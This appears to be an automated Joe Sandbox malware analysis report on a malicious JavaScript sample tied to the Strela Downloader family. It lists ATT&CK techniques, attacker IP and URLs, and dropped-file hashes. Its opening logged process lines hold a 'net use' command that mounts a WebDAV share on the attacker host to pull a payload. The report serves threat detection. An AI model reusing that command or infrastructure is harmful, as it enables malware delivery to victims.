Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
49441311255025245.js	3%	Virustotal		Browse
49441311255025245.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/vg09	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/a	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1861234578.0000025570B72000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1861686829.0000022A09888000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/a	net.exe, 00000006.00000002.1861686829.0000022A09888000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1861234578.0000025570B72000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/vg09	net.exe, 00000006.00000002.1861765352.0000022A098BD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1859360614.0000022A098BD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588090
Start date and time:	2025-01-10 21:16:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	49441311255025245.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 2.16.168.105, 2.16.168.107, 162.159.61.3, 172.64.41.3, 23.209.209.135, 184.28.90.27, 88.221.110.91, 2.16.100.168, 2.22.242.123, 2.22.242.11, 52.22.41.97, 4.245.163.56, 104.126.112.182, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:17:33	API Interceptor	27x Sleep call for process: powershell.exe modified
15:17:37	API Interceptor	1x Sleep call for process: net.exe modified
15:17:37	API Interceptor	2x Sleep call for process: svchost.exe modified
15:17:44	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	138505539275318569.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	677073752851910183.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	296419801857622488.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	299273933818721331.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7281316381146719051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8692281511118412139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20512268371239412475.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	138505539275318569.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	677073752851910183.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	296419801857622488.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	348426869538810128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	299273933818721331.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7281316381146719051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8692281511118412139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20512268371239412475.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073581250040096
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrF:KooCEYhgYEL0In
MD5:	3E8657F25206BFE45653E4A0C5167401
SHA1:	98D42073FDFB5231935BEBEC8F1FD4297A276DAC
SHA-256:	1A83DB309CAA0234050AA0E13A0415067E7F4253A19E4DF00D9826FEFE06ED34
SHA-512:	5BDC508BDA94BD91E944FF4D6ED70F1E3E19020C67D4040B10C57FED568223E76E3ABAC4766B97B6EA90341D516F4F7F0A2F1E2F5AD800CE860FFAC8B7AC5466
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe0e96719, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42214500802115684
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:paza/vMUM2Uvz7DO
MD5:	87D2B1F8EA6A3F364B3E080D01F40B18
SHA1:	568D5BD7E426CB305251DAB332D0D1EDC2185CEC
SHA-256:	4EE83E8EB76F98C8F8D583B2FD971E642A01B0318583471B5825546C33212831
SHA-512:	B3BB5C4201EC6AE31AC966E1FEF305AC805CCAA8FEB0EBCC88CD1207804F19CDBF381D96A507DB5DFABB052FD04C8CB51726513E090454F001E04BA7CD299DB9
Malicious:	false
Preview:	..g.... .......A.......X\...;...{......................0.!..........{A.%....}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................^:.2%....}=....................2%....}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07697787776496663
Encrypted:	false
SSDEEP:	3:nm/8Ye3SkVwvjn13a/zX/R4RtallcVO/lnlZMxZNQl:mUz3Fwv53qzX/R4aOewk
MD5:	D6FDF4BF542683E692F6BE2331036AB9
SHA1:	47079EDE231C65F9B6CEEFA15BF46878DD55187C
SHA-256:	07C436E5CFB8E4681B1BEB1AE1334506576C65A88882E176F3E02F01F62B1086
SHA-512:	2E6C16A861FA65733FEC5FC3C38DE8AECF11F0977B4DF54A5F65F76404EB0F1E15AE7AFB867BC53215A15FEED22E17890C149BAB3A2B9513E68ED53059FE13BC
Malicious:	false
Preview:	.Fz0.....................................;...{..%....}.......{A..............{A......{A..........{A]...................2%....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.16481779613498
Encrypted:	false
SSDEEP:	6:iO4hS3zL+q2Pwkn2nKuAl9OmbnIFUtShSI11ZmwshSIjLVkwOwkn2nKuAl9Ombjd:7hjL+vYfHAahFUtrIX/tIjLV5JfHAaSJ
MD5:	BDBEC4970D071E4CC3358AB5D9686266
SHA1:	2DC754D1EA85DEBFD8CAC483C3744FBD3FF10B68
SHA-256:	3F5EF89A57A417444DEC372A6A0B8D14F7A792471F9506745BCE485481E87B4B
SHA-512:	265730554B7C4B69E2B52D95C7797517B7E4FDDDF8999A438D9815F7A5528774F20938D9192C0BE328062B6D1EFC15578AA57E0C40C06166AD2A4812A175CE4E
Malicious:	false
Preview:	2025/01/10-15:17:37.253 1c7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:17:37.256 1c7c Recovering log #3.2025/01/10-15:17:37.256 1c7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.16481779613498
Encrypted:	false
SSDEEP:	6:iO4hS3zL+q2Pwkn2nKuAl9OmbnIFUtShSI11ZmwshSIjLVkwOwkn2nKuAl9Ombjd:7hjL+vYfHAahFUtrIX/tIjLV5JfHAaSJ
MD5:	BDBEC4970D071E4CC3358AB5D9686266
SHA1:	2DC754D1EA85DEBFD8CAC483C3744FBD3FF10B68
SHA-256:	3F5EF89A57A417444DEC372A6A0B8D14F7A792471F9506745BCE485481E87B4B
SHA-512:	265730554B7C4B69E2B52D95C7797517B7E4FDDDF8999A438D9815F7A5528774F20938D9192C0BE328062B6D1EFC15578AA57E0C40C06166AD2A4812A175CE4E
Malicious:	false
Preview:	2025/01/10-15:17:37.253 1c7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:17:37.256 1c7c Recovering log #3.2025/01/10-15:17:37.256 1c7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.206159193026399
Encrypted:	false
SSDEEP:	6:iO4hSIM+q2Pwkn2nKuAl9Ombzo2jMGIFUtShSrFcZmwshSgpMVkwOwkn2nKuAl97:7hIM+vYfHAa8uFUtrG/teMV5JfHAa8RJ
MD5:	B97224548F47998A5EF5780CCE03C714
SHA1:	D8D5049BF29B552AA9D5699B8C524C5E743B40B5
SHA-256:	44088F04E9BD252B35FC54ED21291C13AD513810681E7C93A56A0713970F4391
SHA-512:	AA5EDDD5F62CCFF7DBF49B677816D899696120F86D27432DE0320892B4C801B50D3CCE0E21F5EDD3138185436B2DC79454DB609CAA5DE5A0119314F1E8925FC7
Malicious:	false
Preview:	2025/01/10-15:17:37.405 8fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:17:37.406 8fc Recovering log #3.2025/01/10-15:17:37.407 8fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.206159193026399
Encrypted:	false
SSDEEP:	6:iO4hSIM+q2Pwkn2nKuAl9Ombzo2jMGIFUtShSrFcZmwshSgpMVkwOwkn2nKuAl97:7hIM+vYfHAa8uFUtrG/teMV5JfHAa8RJ
MD5:	B97224548F47998A5EF5780CCE03C714
SHA1:	D8D5049BF29B552AA9D5699B8C524C5E743B40B5
SHA-256:	44088F04E9BD252B35FC54ED21291C13AD513810681E7C93A56A0713970F4391
SHA-512:	AA5EDDD5F62CCFF7DBF49B677816D899696120F86D27432DE0320892B4C801B50D3CCE0E21F5EDD3138185436B2DC79454DB609CAA5DE5A0119314F1E8925FC7
Malicious:	false
Preview:	2025/01/10-15:17:37.405 8fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:17:37.406 8fc Recovering log #3.2025/01/10-15:17:37.407 8fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\541892dd-641a-4b40-b8e6-23bd25123da1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.964484232732606
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqGkJMhsBdOg2H/caq3QYiubInP7E4TX:Y2sRdsAJXdMHO3QYhbG7n7
MD5:	266F088DF4CBE290256BD47CABC294DD
SHA1:	509A6BDC81D0B4CC2B9D9FE9D4EC843A9449D0F8
SHA-256:	5A2BB9452625E49FE7C282948D4B179D535A24550A1E69395EA9FBA4CAEB303E
SHA-512:	3D8022BDF11644F0C5857710D35225C287934B492DE4BE378A91A28530340AD2C6FAD5C7B5DB21B2DBBD10B65BB0E42D0A8505C23CA9EA505F08C88AB37AE848
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381100269049454","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":201846},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\65a0d320-d886-4c59-904b-57cb59974bb3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF55cad4.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.257419350529368
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7HcZMLC9:etJCV4FiN/jTN/2r8Mta02fEhgO73goW
MD5:	A12E3B0E28FD33E673B7E1BE9D48699E
SHA1:	38A2653ED05ACBABD166AD0B62A00DACDD945B65
SHA-256:	426C11F0B0CB500B7F22470F70D953C0EBCAAD2D0BE176E3F4B54A8BEE86B1CD
SHA-512:	17D096799A7F693E842F90F1D8906A2D31EBB633E96730D8E215B508EE1FD387E2B8E3E7B38E79A48FF662DFD1A24883384045694C68BA6C3F40A50811E6F998
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.204694206860225
Encrypted:	false
SSDEEP:	6:iO4hSk5MM+q2Pwkn2nKuAl9OmbzNMxIFUtShSkSmZmwshSkV1MVkwOwkn2nKuAlG:7hk+M+vYfHAa8jFUtrkB/tkV1MV5JfHP
MD5:	4D92264F748EF59B8C5C7B88AED51FE5
SHA1:	48FA9DC01E70213AFBD88D3D66EB8C11C4516837
SHA-256:	59E4D60EB1DF33D3E05C4E0F95EB565D0ACA12C906A43E6C247F0F86C59EDF3C
SHA-512:	03C64352100A504A07D63966E703636D355EF1A7D2A4BBE69ED7F940C5180F3D8354D9E32BBAF7FA7D87B3714369203DC48C61BE6178D5F56EB18186D2D03A6D
Malicious:	false
Preview:	2025/01/10-15:17:37.516 8fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:17:37.518 8fc Recovering log #3.2025/01/10-15:17:37.519 8fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.204694206860225
Encrypted:	false
SSDEEP:	6:iO4hSk5MM+q2Pwkn2nKuAl9OmbzNMxIFUtShSkSmZmwshSkV1MVkwOwkn2nKuAlG:7hk+M+vYfHAa8jFUtrkB/tkV1MV5JfHP
MD5:	4D92264F748EF59B8C5C7B88AED51FE5
SHA1:	48FA9DC01E70213AFBD88D3D66EB8C11C4516837
SHA-256:	59E4D60EB1DF33D3E05C4E0F95EB565D0ACA12C906A43E6C247F0F86C59EDF3C
SHA-512:	03C64352100A504A07D63966E703636D355EF1A7D2A4BBE69ED7F940C5180F3D8354D9E32BBAF7FA7D87B3714369203DC48C61BE6178D5F56EB18186D2D03A6D
Malicious:	false
Preview:	2025/01/10-15:17:37.516 8fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:17:37.518 8fc Recovering log #3.2025/01/10-15:17:37.519 8fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4448959316605485
Encrypted:	false
SSDEEP:	384:yezci5tGiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rJs3OazzU89UTTgUL
MD5:	1E4075968161267AEB8912E2143E1A02
SHA1:	070D42A6CFA211518017CD69BA599DA57AFB3573
SHA-256:	BDD1D9C46F50EBBB621AF761743821F796501903B00F51FBEC67CBBC4197516B
SHA-512:	12903FCDFC4AB7B64B023F4A5D96AC887D8772102127534E7F262B26954E21FF1816C5F04DB4D1760D94D12FD09B8427312909CBB0DE0C79906064A41C8DA278
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.770817766256093
